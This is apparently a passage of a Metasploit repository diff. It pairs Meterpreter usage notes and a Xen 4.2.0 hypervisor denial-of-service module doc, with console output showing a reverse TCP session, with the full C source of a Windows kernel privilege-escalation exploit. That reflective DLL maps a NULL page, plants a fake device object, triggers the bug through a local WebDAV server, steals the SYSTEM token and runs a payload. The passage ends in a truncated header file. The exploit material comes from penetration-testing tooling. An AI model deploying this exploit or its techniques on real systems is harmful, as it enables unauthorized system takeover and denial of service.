To use the stageless payload, use ```windows/meterpreter_reverse_https``` instead.
|
||||
|
||||
## Meterpreter Sleep Control
|
||||
|
||||
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to
|
||||
avoid suspicious active communication. It also provides better efficiency.
|
||||
|
||||
It is very simple to use. At the Meterpreter prompt, simply do:
|
||||
|
||||
```
|
||||
meterpreter > sleep 20
|
||||
```
|
||||
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the handler
|
||||
remains active (such as running as a background job).
|
||||
|
||||
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
|
||||
|
||||
## Meterpreter Timeout Control
|
||||
|
||||
The timeout control basically defines the life span of Meterpreter. To configure it, use the
|
||||
```set_timeouts``` command:
|
||||
|
||||
```
|
||||
meterpreter > set_timeouts
|
||||
Usage: set_timeouts [options]
|
||||
|
||||
Set the current timeout options.
|
||||
Any or all of these can be set at once.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-c <opt> Comms timeout (seconds)
|
||||
-h Help menu
|
||||
-t <opt> Retry total time (seconds)
|
||||
-w <opt> Retry wait time (seconds)
|
||||
-x <opt> Expiration timout (seconds)
|
||||
```
|
||||
|
||||
To see the current timeout configuration, you can use the ```get_timeouts``` command:
|
||||
|
||||
```
|
||||
meterpreter > get_timeouts
|
||||
Session Expiry : @ 2016-03-11 21:15:58
|
||||
Comm Timeout : 300 seconds
|
||||
Retry Total Time: 3600 seconds
|
||||
Retry Wait Time : 10 seconds
|
||||
```
|
||||
|
||||
To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
|
||||
|
||||
## Meterpreter Transport Control
|
||||
|
||||
Transport Control allows you manage transports on the fly while the payload session is still
|
||||
running. Meterpreter can automatically cycle through the transports when communication fails,
|
||||
or you can do it manually.
|
||||
|
||||
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
|
||||
|
||||
@@ -580,7 +580,7 @@ The route command in Meterpreter allows you change the routing table that is on
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add –l 3389 –p 3389 –r > target host >
|
||||
meterpreter > portfwd add –l 3389 –p 3389 –r [Target Host]
|
||||
```
|
||||
|
||||
And that should allow you to connect to remote desktop this way on the attacker's box:
|
||||
@@ -611,7 +611,8 @@ It is very simple to use. At the Meterpreter prompt, simply do:
|
||||
meterpreter > sleep 20
|
||||
```
|
||||
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the payload
|
||||
handler remains active (such as being a background job).
|
||||
|
||||
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
|
||||
|
||||
@@ -660,6 +661,7 @@ Transport Control allows you manage transports on the fly while the payload sess
|
||||
|
||||
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
|
||||
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
This is a post exploitation module that exploits a memory corruption bug in Xen
|
||||
4.2.0, causing a denial-of-service against the hypervisor from a guest VM. From
|
||||
the original advisory:
|
||||
|
||||
> Downgrading the grant table version of a guest involves freeing its
|
||||
status pages. This freeing was incomplete - the page(s) are freed back
|
||||
to the allocator, but not removed from the domain's tracking
|
||||
list. This would cause list corruption, eventually leading to a
|
||||
hypervisor crash.
|
||||
|
||||
## Mechanism
|
||||
|
||||
This module aims to be portable by building the exploit module on the target
|
||||
machine directly, building a malicious Linux Kernel Module (LKM) and inserting it
|
||||
into the kernel of the paravirtualized host. It is necessary to build the
|
||||
kernel module on the fly, since kernel ABIs are notoriously unstable and
|
||||
unlikely to work between multiple kernel versions.
|
||||
|
||||
This module is tested on Debian and Ubuntu hosts running various versions of
|
||||
Xen. Because the LKM is built at exploit-time, it requires that build tools and
|
||||
kernel headers for the currently-running kernel to exist on the target machine.
|
||||
|
||||
## Example output
|
||||
|
||||
Failure (bad Xen version):
|
||||
|
||||
```
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set lhost 192.168.1.1
|
||||
lhost => 192.168.1.1
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 192.168.1.1
|
||||
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:43488) at 2016-07-13 00:27:31 -0500
|
||||
|
||||
meterpreter >
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(handler) > use post/linux/dos/xen_420_dos
|
||||
msf post(xen_420_dos) > set session -1
|
||||
session => -1
|
||||
msf post(xen_420_dos) > run
|
||||
|
||||
[*] Detecting requirements...
|
||||
[+] Detected root privilege
|
||||
[+] Detected build-essential
|
||||
[+] Detected Xen
|
||||
[+] Detected running Xen
|
||||
[*] Xen Version: 4.6.0
|
||||
[-] Sorry, wrong Xen Version
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
Success:
|
||||
|
||||
```
|
||||
msf post(xen_420_dos) > run
|
||||
|
||||
[*] Detecting requirements...
|
||||
[+] Detected root privilege
|
||||
[+] Detected build-essential
|
||||
[+] Detected Xen
|
||||
[+] Detected running Xen
|
||||
[*] Xen Version: 4.2.0
|
||||
[-] Detected correct Xen version
|
||||
[*] DoS was successful!
|
||||
[*] Post module execution completed
|
||||
[*] 192.168.1.2 - Command shell session 1 closed. Reason: Died from EOFError
|
||||
```
|
||||
|
||||
## Future Work
|
||||
|
||||
A kernel module compilation mixin that works like the Dynamic Kernel Module
|
||||
Support (DKMS) framework, would be useful in order to allow other kernel-level
|
||||
exploits to be built as-needed. Supporting this using the Metasploit Post
|
||||
Exploitation API and supporting more Linux distributions would make similar
|
||||
exploits easier to build.
|
||||
+424
@@ -0,0 +1,424 @@
|
||||
/*
|
||||
requires:
|
||||
Reflective DLL Injection solution by Stephen Fewer
|
||||
https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
|
||||
compiles with:
|
||||
Visual Studio 2013
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <process.h>
|
||||
#include <time.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <winnetwk.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include "defs.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "mpr.lib")
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
DWORD wdServ(SIZE_T port);
|
||||
PVOID GetNativeAPI(CHAR *funcName);
|
||||
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName);
|
||||
static VOID execPayload(LPVOID lpPayload);
|
||||
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2);
|
||||
|
||||
_ZwOpenProcess pZwOpenProcess = NULL;
|
||||
_ZwOpenProcessToken pZwOpenProcessToken = NULL;
|
||||
_ZwDuplicateToken pZwDuplicateToken = NULL;
|
||||
_ZwSetInformationProcess pZwSetInformationProcess = NULL;
|
||||
_ZwClose pZwClose = NULL;
|
||||
_PsLookupProcessByProcessId pPsLookupProcessByProcessId;
|
||||
|
||||
PSYSTEM_MODULE_INFORMATION pModuleInfo;
|
||||
CHAR *KI = 0; // kernel image name
|
||||
PVOID *KB = 0; // kernel base address
|
||||
|
||||
BOOL DROP_THE_MIC = FALSE;
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
static VOID execPayload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD wdServ(SIZE_T port) {
|
||||
TCHAR client_data[1500];
|
||||
struct sockaddr_in server;
|
||||
struct sockaddr_in client;
|
||||
SOCKET s1, s2;
|
||||
SYSTEMTIME st;
|
||||
WSADATA ws;
|
||||
int c = sizeof(struct sockaddr_in), test = 0;
|
||||
SIZE_T len = 0;
|
||||
SIZE_T recv_size = 0;
|
||||
time_t _tm;
|
||||
struct tm *curtime;
|
||||
CHAR *buf, *resp, *token, *token2, *timebuf;
|
||||
|
||||
if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ((s1 = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_addr.s_addr = INADDR_ANY;
|
||||
server.sin_port = htons(port);
|
||||
|
||||
if (bind(s1, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
listen(s1, 3);
|
||||
|
||||
while (1) {
|
||||
s2 = accept(s1, (struct sockaddr *)&client, &c);
|
||||
|
||||
if (s2 == INVALID_SOCKET) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get stuff from client */
|
||||
|
||||
if ((recv_size = recv(s2, client_data, 1500, 0)) == SOCKET_ERROR) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
token = strtok(client_data, " \r\n");
|
||||
|
||||
if (token != NULL) {
|
||||
if (strncmp(token, "OPTIONS", 7) == 0) {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
|
||||
len += sprintf(buf + len, "HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
|
||||
|
||||
memset(client_data, 0, 1500);
|
||||
send(s2, buf, strlen(buf), 0);
|
||||
free(buf);
|
||||
len = 0;
|
||||
}
|
||||
else if (strncmp(token, "PROPFIND", 8) == 0) {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
resp = (char *)calloc(3500, 1);
|
||||
timebuf = (char *)calloc(256, 1);
|
||||
|
||||
token2 = strtok(NULL, " ");
|
||||
GetSystemTime(&st);
|
||||
_tm = time(NULL);
|
||||
curtime = localtime(&_tm);
|
||||
|
||||
sprintf(timebuf, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
|
||||
len += sprintf(buf + len, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n");
|
||||
len += sprintf(buf + len, "<D:multistatus xmlns:D=\"DAV:\">\r\n");
|
||||
len += sprintf(buf + len, "<D:response>\r\n");
|
||||
len += sprintf(buf + len, "\t<D:href>%s</D:href>\r\n", token2);
|
||||
len += sprintf(buf + len, "\t<D:propstat>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:prop>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:creationdate>%sZ</D:creationdate>\r\n", timebuf);
|
||||
len += sprintf(buf + len, "\t\t<D:getcontentlength>0</D:getcontentlength>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:getcontenttype></D:getcontenttype>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:getetag></D:getetag>\r\n");
|
||||
memset(timebuf, 0, sizeof(timebuf));
|
||||
sprintf(timebuf, "%.3s, %02d %02d %04d %02d:%02d:%02d GMT", asctime(curtime), st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); // needs to look like Fri, 11 Mar 2016 20:39:35 GMT
|
||||
len += sprintf(buf + len, "\t\t<D:getlastmodified>%s</D:getlastmodified>\r\n", timebuf);
|
||||
|
||||
if (strstr(token2, "file") != NULL) {
|
||||
len += sprintf(buf + len, "\t\t<D:resourcetype></D:resourcetype>\r\n");
|
||||
}
|
||||
else {
|
||||
len += sprintf(buf + len, "\t\t<D:resourcetype><D:collection></D:collection></D:resourcetype>\r\n");
|
||||
}
|
||||
len += sprintf(buf + len, "\t\t<D:supportedlock></D:supportedlock>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:ishidden>0</D:ishidden>\r\n");
|
||||
len += sprintf(buf + len, "\t\t</D:prop>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:status>HTTP/1.1 200 OK</D:status>\r\n");
|
||||
len += sprintf(buf + len, "\t</D:propstat>\r\n");
|
||||
len += sprintf(buf + len, "</D:response>\r\n");
|
||||
len += sprintf(buf + len, "</D:multistatus>\r\n");
|
||||
|
||||
len = 0;
|
||||
len += sprintf(resp + len, "HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: %d\r\nContent-Type: text/xml\r\n\r\n", strlen(buf));
|
||||
len += sprintf(resp + len, buf);
|
||||
send(s2, resp, strlen(resp), 0);
|
||||
memset(client_data, 0, 1500);
|
||||
free(buf);
|
||||
free(resp);
|
||||
free(timebuf);
|
||||
len = 0;
|
||||
}
|
||||
else {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
/* request not matched */
|
||||
len += sprintf(buf + len, "HTTP/1.1 500 Internal Server Error\r\n\r\n");
|
||||
send(s2, buf, strlen(buf), 0);
|
||||
memset(client_data, 0, 1500);
|
||||
free(buf);
|
||||
len = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* done at this point */
|
||||
closesocket(s2);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID GetNativeAPI(CHAR *funcName) {
|
||||
return GetProcAddress(GetModuleHandle("ntdll"), funcName);
|
||||
}
|
||||
|
||||
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName) {
|
||||
PVOID addr = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
|
||||
hModule = LoadLibraryExA(kernelImage, 0, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (hModule) {
|
||||
addr = GetProcAddress(hModule, funcName);
|
||||
if (addr) {
|
||||
addr = (PVOID)((PUCHAR)addr - (PUCHAR)hModule + (PUCHAR)kernelBase);
|
||||
}
|
||||
}
|
||||
// printf("[+] DEBUG: %s @ 0x%08x\n", funcName, addr);
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
the idea for this came from a blog post by j00ru
|
||||
*/
|
||||
|
||||
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2)
|
||||
{
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL;
|
||||
CLIENT_ID ClientId = { (HANDLE)4, NULL };
|
||||
PROCESS_ACCESS_TOKEN AccessToken;
|
||||
NTSTATUS NtStatus;
|
||||
PDWORD CurrentProcess = NULL;
|
||||
PDWORD off = NULL;
|
||||
DWORD kFlags2Offset = 0x26c;
|
||||
DWORD kFlags2, origFlags2, currPid = 0;
|
||||
PEPROCESS myEP, systemEP;
|
||||
|
||||
/* Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag */
|
||||
|
||||
currPid = GetCurrentProcessId();
|
||||
NtStatus = pPsLookupProcessByProcessId((HANDLE)currPid, &myEP);
|
||||
NtStatus = pPsLookupProcessByProcessId((HANDLE)4, &systemEP);
|
||||
kFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
|
||||
origFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
|
||||
kFlags2 = kFlags2 ^ (1 << 15);
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
NtStatus = pZwDuplicateToken(hToken,
|
||||
TOKEN_ALL_ACCESS,
|
||||
&ObjectAttributes,
|
||||
TRUE,
|
||||
TokenPrimary,
|
||||
&hNewToken
|
||||
);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
AccessToken.Token = hNewToken;
|
||||
AccessToken.Thread = NULL;
|
||||
|
||||
/* turn flag off */
|
||||
*(PDWORD *)((PBYTE)myEP + kFlags2Offset) = kFlags2;
|
||||
NtStatus = pZwSetInformationProcess((HANDLE)-1,
|
||||
ProcessAccessToken,
|
||||
&AccessToken,
|
||||
sizeof(PROCESS_ACCESS_TOKEN));
|
||||
/* turn flag back on because reasons */
|
||||
*(PDWORD)(myEP + kFlags2Offset) = origFlags2;
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
DROP_THE_MIC = TRUE;
|
||||
err:
|
||||
if (hNewToken != NULL) {
|
||||
pZwClose(hNewToken);
|
||||
}
|
||||
if (hToken != NULL) {
|
||||
pZwClose(hToken);
|
||||
}
|
||||
if (hSystem != NULL) {
|
||||
pZwClose(hSystem);
|
||||
}
|
||||
|
||||
return 31337;
|
||||
}
|
||||
|
||||
int doWork(LPVOID lpPayload)
|
||||
{
|
||||
HANDLE hThread, hFile;
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
ULONG len = 0, inputLen = 24, outputLen = 4;
|
||||
DWORD allocSize = 0x4000;
|
||||
DWORD allocAddr = 0x00000001;
|
||||
NTSTATUS ntRet;
|
||||
NETRESOURCE nr, *pnr;
|
||||
_NtQuerySystemInformation pNtQuerySystemInformation;
|
||||
_NtAllocateVirtualMemory pNtAllocateVirtualMemory;
|
||||
_NtFsControlFile pNtFsControlFile;
|
||||
SIZE_T port, remoteNameLen = 0;
|
||||
DWORD wnacRes, *inputPtr, *outputPtr;
|
||||
PBAD_DEVICE_OBJECT pBadDeviceObject;
|
||||
char remoteName[64];
|
||||
char cfName[64];
|
||||
|
||||
/* gather info and such */
|
||||
|
||||
memset(remoteName, 0, sizeof(remoteName));
|
||||
memset(cfName, 0, sizeof(cfName));
|
||||
memset(&IoStatusBlock, 0, sizeof(IoStatusBlock));
|
||||
|
||||
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetNativeAPI("NtQuerySystemInformation");
|
||||
if (!pNtQuerySystemInformation) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtFsControlFile = (_NtFsControlFile)GetNativeAPI("NtFsControlFile");
|
||||
if (!pNtFsControlFile) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetNativeAPI("NtAllocateVirtualMemory");
|
||||
if (!pNtAllocateVirtualMemory) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, &pModuleInfo, sizeof(pModuleInfo), NULL);
|
||||
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
|
||||
if (!ntRet) {
|
||||
exit(1);
|
||||
}
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);
|
||||
|
||||
KB = (PVOID *)pModuleInfo->Modules[0].ImageBase;
|
||||
KI = (CHAR *)pModuleInfo->Modules[0].FullPathName + pModuleInfo->Modules[0].OffsetToFileName;
|
||||
|
||||
/* finishing information gathering */
|
||||
|
||||
pZwOpenProcess = (_ZwOpenProcess)GetKernelAPI(KI, KB, "ZwOpenProcess");
|
||||
pZwOpenProcessToken = (_ZwOpenProcessToken)GetKernelAPI(KI, KB, "ZwOpenProcessToken");
|
||||
pZwDuplicateToken = (_ZwDuplicateToken)GetKernelAPI(KI, KB, "ZwDuplicateToken");
|
||||
pZwSetInformationProcess = (_ZwSetInformationProcess)GetKernelAPI(KI, KB, "ZwSetInformationProcess");
|
||||
pZwClose = (_ZwClose)GetKernelAPI(KI, KB, "ZwClose");
|
||||
pPsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernelAPI(KI, KB, "PsLookupProcessByProcessId");
|
||||
|
||||
/* start setting up the trigger */
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % (60000 - 5000)) + 5000;
|
||||
|
||||
//printf("[+] Allocating page at 0x00000000 ...\n");
|
||||
ntRet = pNtAllocateVirtualMemory((HANDLE)-1, (LPVOID)&allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (ntRet != 0) {
|
||||
//printf("[-] NtAllocateVirtualMemory error. Status = 0x%08x\n\n", ntRet);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pBadDeviceObject = (PBAD_DEVICE_OBJECT)GlobalAlloc(GMEM_ZEROINIT, sizeof(BAD_DEVICE_OBJECT));
|
||||
|
||||
//printf("[+] Building fake DEVICE_OBJECT ...\n");
|
||||
pBadDeviceObject->addrPtr = (DWORD)0x00000010;
|
||||
pBadDeviceObject->evilAddr = (ULONG)&tokenTwiddler;
|
||||
memcpy((PVOID)0x00, pBadDeviceObject, sizeof(BAD_DEVICE_OBJECT));
|
||||
|
||||
//printf("[+] Starting WebDAV server on port %d\n", port);
|
||||
hThread = (HANDLE)_beginthread((void *)wdServ, 0, (void *)port);
|
||||
//printf("[+] WebDAV thread started, back in main()\n");
|
||||
memset(&nr, 0, sizeof(NETRESOURCE));
|
||||
sprintf(remoteName, "\\\\127.0.0.1@%d\\folder\\", port);
|
||||
sprintf(cfName, "\\\\127.0.0.1@%d\\folder\\file", port);
|
||||
|
||||
pnr = &nr;
|
||||
pnr->dwScope = 0;
|
||||
pnr->dwType = 0;
|
||||
pnr->dwDisplayType = 0;
|
||||
pnr->dwUsage = 0;
|
||||
pnr->lpLocalName = NULL;
|
||||
pnr->lpRemoteName = (LPSTR)&remoteName[0];
|
||||
pnr->lpComment = NULL;
|
||||
pnr->lpProvider = NULL;
|
||||
|
||||
wnacRes = WNetAddConnection2(&nr, NULL, NULL, (DWORD)0);
|
||||
|
||||
// printf("[+] WNetAddConnection2 result: 0x%08x\n", wnacRes);
|
||||
if (wnacRes != 0) {
|
||||
// printf("WNetAddConnection2 failed ... wtf\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
hFile = CreateFileA(cfName, FILE_ATTRIBUTE_NORMAL, (DWORD)7, NULL, (DWORD)3, (DWORD)0, NULL);
|
||||
inputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, inputLen);
|
||||
outputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, outputLen);
|
||||
|
||||
// printf("Calling NtFsControlFile ...\n");
|
||||
ntRet = pNtFsControlFile(hFile, 0, 0, 0, &IoStatusBlock, 0x900DB, inputPtr, inputLen, outputPtr, outputLen);
|
||||
// printf("[+] NtFsControlFile result: 0x%08x\n", ntRet);
|
||||
|
||||
if (DROP_THE_MIC == TRUE) {
|
||||
execPayload(lpPayload);
|
||||
}
|
||||
else {
|
||||
/* nothing to do */
|
||||
}
|
||||
// printf("[+] Done, cya ...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
doWork(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
#pragma once
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
enum { ProcessAccessToken = 0x09 };
|
||||
|
||||
typedef PVOID *PEPROCESS;
|
||||
|
||||
typedef PEPROCESS(WINAPI *_PsGetCurrentProcess)(void);
|
||||
|
||||
typedef ULONG(__cdecl *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR Format, ...);
|
||||
|
||||
typedef struct {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef NTSTATUS(WINAPI *_NtFsControlFile)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PIO_APC_ROUTINE ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG FsControlCode,
|
||||
PVOID InputBuffer,
|
||||
ULONG InputBufferLength,
|
||||
PVOID OutputBuffer,
|
||||
ULONG OutputBufferLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwOpenProcess)(
|
||||
PHANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PCLIENT_ID ClientId
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwDuplicateToken)(
|
||||
HANDLE ExistingTokenHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
BOOLEAN EffectiveOnly,
|
||||
TOKEN_TYPE TokenType,
|
||||
PHANDLE NewTokenHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwOpenProcessToken)(
|
||||
HANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PHANDLE TokenHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwSetInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD(WINAPI *_NtAllocateVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG ZeroBits,
|
||||
PULONG RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_PsLookupProcessByProcessId)(
|
||||
_In_ HANDLE ProcessId,
|
||||
_Out_ PEPROCESS *Process
|
||||
);
|
||||
|
||||
typedef BOOL(WINAPI *_ZwClose)(
|
||||
_In_ HANDLE hObject
|
||||
);
|
||||
|
||||
typedef struct _PROCESS_ACCESS_TOKEN {
|
||||
HANDLE Token;
|
||||
HANDLE Thread;
|
||||
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
|
||||
|
||||
/* Hacked up from Process Hacker source */
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES {
|
||||
ULONG NumberOfModules;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct {
|
||||
ULONG pad1[12];
|
||||
DWORD addrPtr;
|
